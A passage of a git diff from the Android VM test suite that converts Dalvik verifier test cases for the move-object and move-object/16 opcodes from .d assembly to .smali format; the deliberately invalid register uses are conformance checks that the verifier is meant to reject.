index 0000000..2d2ec49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_2.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+
+.method public run()V
+.registers 9
+
+       move-object v15, v8
+
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d
deleted file mode 100644
index 647a220..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_3.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-
-       move-object v1, v15
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali
new file mode 100644
index 0000000..ce8a919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_3.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+
+       move-object v1, v15
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d
deleted file mode 100644
index f5538f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_4.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const v0, 1
-       move-object v1, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali
new file mode 100644
index 0000000..a58a565
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_4.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const v0, 1
+       move-object v1, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d
deleted file mode 100644
index d7951a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_5.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v5, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali
new file mode 100644
index 0000000..220594e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_5.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d
deleted file mode 100644
index 7db5136..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_6.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v5, v1
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali
new file mode 100644
index 0000000..4e38784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_6.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v1
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d
deleted file mode 100644
index 0fe5509..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_7.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v1, v8
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali
new file mode 100644
index 0000000..3c8dd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_7.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 9
+       const-wide v0, 124
+
+       move-object v1, v8
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d
deleted file mode 100644
index b60a448..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_1.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5000
-       move-object/16 v4000, v4999
-       move-object/16 v1, v4000
-
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali
new file mode 100644
index 0000000..ff9d63f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_1.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/16 v4000, v4999
+       move-object/16 v1, v4000
+
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d
deleted file mode 100644
index aad9893..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_3.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-object/16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali
new file mode 100644
index 0000000..83a1533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_3.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-object/16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d
deleted file mode 100644
index 463646c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_4.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       move-object/16 v6, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali
new file mode 100644
index 0000000..d7e3e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_4.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       move-object/16 v6, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d
deleted file mode 100644
index 8cceaff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_5.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const v0, 1234    
-       move-object/16 v2000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali
new file mode 100644
index 0000000..623567e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_5.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v0, 1234    
+       move-object/16 v2000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d
deleted file mode 100644
index 6a5035d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_6.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const-wide v123, 123
-       move-object/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali
new file mode 100644
index 0000000..9eac412
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_6.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const-wide v123, 123
+       move-object/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d
deleted file mode 100644
index 0fce2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_7.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali
new file mode 100644
index 0000000..0556333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_7.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d
deleted file mode 100644
index 8f0d925..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_8.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/16 v124, v4999
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali
new file mode 100644
index 0000000..77748f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_8.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
